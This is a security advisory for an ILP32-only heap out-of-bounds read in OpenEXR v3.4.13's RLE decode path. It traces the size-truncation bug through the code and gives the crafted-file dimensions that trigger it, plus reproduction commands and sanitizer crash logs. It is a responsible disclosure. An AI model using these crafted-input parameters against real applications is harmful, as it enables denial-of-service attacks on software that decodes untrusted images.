GHSA-v6v5-344m-64vm
CVE Information
Summary
OpenEXR v3.4.13 has an ILP32-only input-side heap out-of-bounds read in the public OpenEXRCore RLE scanline decode path. A crafted 371-byte RLE-compressed EXR declares width
536870913, height1, and twoFLOATchannels, making the logical chunkunpacked_size4294967304bytes (0x100000008). On 32-bit/ILP32 builds, that 64-bit size is passed to an allocation helper assize_tand truncates to8bytes. RLE decompression then succeeds into the tiny buffer, but the default unpacker iterates over the huge declared channel width and reads past the heap allocation.The demonstrated impact is denial of service / memory-safety violation via out-of-bounds read. The unsanitized ILP32 build crashes with SIGSEGV, ASAN reports a heap-buffer-overflow READ in
OpenEXRCore/unpack.c:1074, and UBSAN reproduces a READ SEGV in the same function. Out-of-bounds write, sensitive-data disclosure, and arbitrary code execution were not proven. LP64 builds are not demonstrated because this specific allocation does not truncate to 8 bytes there.Affected code path
The issue is reachable through the public OpenEXRCore C decode flow declared in
src/lib/OpenEXRCore/openexr_decode.hand chunk APIs inopenexr_chunkio.h:
exr_read_scanline_chunk_info()reports the crafted RLE chunk aswidth=536870913,height=1,packed_size=9, andunpacked_size=4294967304.src/lib/OpenEXRCore/decoding.c:572callsupdate_pack_unpack_ptrs()before decompression.src/lib/OpenEXRCore/decoding.c:75-80allocatesdecode->chunk.unpacked_sizethroughinternal_decode_alloc_buffer().src/lib/OpenEXRCore/coding.c:229-256takes that requested size assize_t newsz; on ILP32,4294967304truncates to8, so the heap buffer is only 8 bytes.exr_uncompress_chunk()decompresses the 9-byte RLE payload into the 8-byte buffer.src/lib/OpenEXRCore/decoding.c:661-664calls the default unpack/convert routine becausedecode->chunk.unpacked_size > 0.src/lib/OpenEXRCore/unpack.c:1071-1079loops over the declared channel width and reads 32-bit values fromsrcbuffer; after the first two floats it reads past the 8-byte allocation.PoC arithmetic:
width = 536870913 height = 1 channels = 2 x FLOAT (4 bytes) logical unpacked bytes = 2 * 536870913 * 4 = 4294967304 = 0x100000008 ILP32 size_t allocation = 0x00000008 RLE payload expands to 8 bytes, but unpack_32bit iterates over declared widthPackage contents
poc.zipcontains only the files needed to rebuild, run, and verify the standalone malformed EXR PoC.reproduce.sh repro/build_repro.sh repro/run_repro.sh poc_artifacts/poc.exr poc_artifacts/probe_ilp32_core_decode_rle_file.cpp logs/original.stdout logs/original.stderr logs/original.rc logs/asan.stdout logs/asan.stderr logs/asan.rc logs/ubsan.stdout logs/ubsan.stderr logs/ubsan.rcReproduction
Run from the OpenEXR v3.4.13 repository root, or set
OPENEXR_ROOTto that root. The scripts expect the existing ILP32 build directoriesbuilds/ilp32_original,builds/ilp32_asan, andbuilds/ilp32_ubsan.unzip -o 'report/14. OpenEXR v3.4.13 ILP32 OpenEXRCore RLE decode heap OOB read DoS/poc.zip' -d artifacts/tmp/report14-poc cd artifacts/tmp/report14-poc OPENEXR_ROOT=/home/br0nzu/openexr/v3.4.13 ./reproduce.shObserved fresh return codes:
original: 139 ASAN: 134 UBSAN: 134Full original output
stdout
stderr
info width=536870913 height=1 packed=9 unpacked=4294967304 sizeof(size_t)=4 channel 0 A width=536870913 height=1 channel 1 B width=536870913 height=1 about exr_decoding_run timeout: the monitored command dumped coreFull ASAN output
stdout
stderr
info width=536870913 height=1 packed=9 unpacked=4294967304 sizeof(size_t)=4 channel 0 A width=536870913 height=1 channel 1 B width=536870913 height=1 about exr_decoding_run ================================================================= ==4063486==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xf5c006f8 at pc 0x5679166c bp 0xff8ad818 sp 0xff8ad810 READ of size 4 at 0xf5c006f8 thread T0 #0 0x5679166b in unpack_32bit /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXRCore/unpack.c:1074:44 #1 0x5677e1c0 in exr_decoding_run /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXRCore/decoding.c:664:18 #2 0x566faead in main /home/br0nzu/openexr/v3.4.13/report/14. OpenEXR v3.4.13 ILP32 OpenEXRCore RLE decode heap OOB read DoS/poc_artifacts/probe_ilp32_core_decode_rle_file.cpp:39:10 #3 0xf7944cb8 (/lib/i386-linux-gnu/libc.so.6+0x24cb8) (BuildId: 0f6a23454651f08cb9b65ff6544d658177b59947) #4 0xf7944d7b in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x24d7b) (BuildId: 0f6a23454651f08cb9b65ff6544d658177b59947) #5 0x5661e2c6 in _start (/home/br0nzu/openexr/v3.4.13/report/14. OpenEXR v3.4.13 ILP32 OpenEXRCore RLE decode heap OOB read DoS/repro/bin/probe_ilp32_core_decode_rle_file_asan+0x252c6) (BuildId: f214fc2f4c0b3386b4c85a7576f25c56c80f4612) 0xf5c006f8 is located 0 bytes after 8-byte region [0xf5c006f0,0xf5c006f8) allocated by thread T0 here: #0 0x566b5af7 in malloc (/home/br0nzu/openexr/v3.4.13/report/14. OpenEXR v3.4.13 ILP32 OpenEXRCore RLE decode heap OOB read DoS/repro/bin/probe_ilp32_core_decode_rle_file_asan+0xbcaf7) (BuildId: f214fc2f4c0b3386b4c85a7576f25c56c80f4612) #1 0x567dd79c in internal_exr_alloc /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXRCore/memory.c:39:12 #2 0x567e3b3e in internal_decode_alloc_buffer /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXRCore/coding.c:256:22 #3 0x5677e952 in update_pack_unpack_ptrs /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXRCore/decoding.c:75:14 #4 0x5677dfee in exr_decoding_run /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXRCore/decoding.c:572:37 #5 0x566faead in main /home/br0nzu/openexr/v3.4.13/report/14. OpenEXR v3.4.13 ILP32 OpenEXRCore RLE decode heap OOB read DoS/poc_artifacts/probe_ilp32_core_decode_rle_file.cpp:39:10 #6 0xf7944cb8 (/lib/i386-linux-gnu/libc.so.6+0x24cb8) (BuildId: 0f6a23454651f08cb9b65ff6544d658177b59947) SUMMARY: AddressSanitizer: heap-buffer-overflow /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXRCore/unpack.c:1074:44 in unpack_32bit Shadow bytes around the buggy address: 0xf5c00400: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0xf5c00480: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0xf5c00500: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0xf5c00580: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0xf5c00600: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa =>0xf5c00680: fa fa fa fa fa fa fa fa fa fa 00 fa fa fa 00[fa] 0xf5c00700: fa fa 00 01 fa fa 00 fa fa fa 02 fa fa fa 02 fa 0xf5c00780: fa fa fd fd fa fa 00 00 fa fa fa fa fa fa fa fa 0xf5c00800: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0xf5c00880: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0xf5c00900: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==4063486==ABORTING timeout: the monitored command dumped coreFull UBSAN output
stdout
stderr
info width=536870913 height=1 packed=9 unpacked=4294967304 sizeof(size_t)=4 channel 0 A width=536870913 height=1 channel 1 B width=536870913 height=1 about exr_decoding_run UndefinedBehaviorSanitizer:DEADLYSIGNAL ==4063510==ERROR: UndefinedBehaviorSanitizer: SEGV on unknown address 0x589b8000 (pc 0x5670453c bp 0xff807d98 sp 0xff807d20 T4063510) ==4063510==The signal is caused by a READ memory access. #0 0x5670453c in unpack_32bit /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXRCore/unpack.c:1074:44 #1 0x566f80d6 in exr_decoding_run /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXRCore/decoding.c:664:18 #2 0x566ab0a3 in main /home/br0nzu/openexr/v3.4.13/report/14. OpenEXR v3.4.13 ILP32 OpenEXRCore RLE decode heap OOB read DoS/poc_artifacts/probe_ilp32_core_decode_rle_file.cpp:39:10 #3 0xf78f3cb8 (/lib/i386-linux-gnu/libc.so.6+0x24cb8) (BuildId: 0f6a23454651f08cb9b65ff6544d658177b59947) #4 0xf78f3d7b in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x24d7b) (BuildId: 0f6a23454651f08cb9b65ff6544d658177b59947) #5 0x5667ae66 in _start (/home/br0nzu/openexr/v3.4.13/report/14. OpenEXR v3.4.13 ILP32 OpenEXRCore RLE decode heap OOB read DoS/repro/bin/probe_ilp32_core_decode_rle_file_ubsan+0x3ce66) (BuildId: 9a58565458d8ca3477e294422d45478de208ae97) UndefinedBehaviorSanitizer can not provide additional info. SUMMARY: UndefinedBehaviorSanitizer: SEGV /home/br0nzu/openexr/v3.4.13/sources/openexr-3.4.13/src/lib/OpenEXRCore/unpack.c:1074:44 in unpack_32bit ==4063510==ABORTING timeout: the monitored command dumped coreImpact
Applications that build OpenEXR v3.4.13 for 32-bit/ILP32 targets and decode attacker-controlled RLE-compressed EXR files through OpenEXRCore can be crashed by a small malformed file. The demonstrated impact is denial of service via SIGSEGV in an unsanitized original binary, plus sanitizer-confirmed heap out-of-bounds read in
unpack_32bit().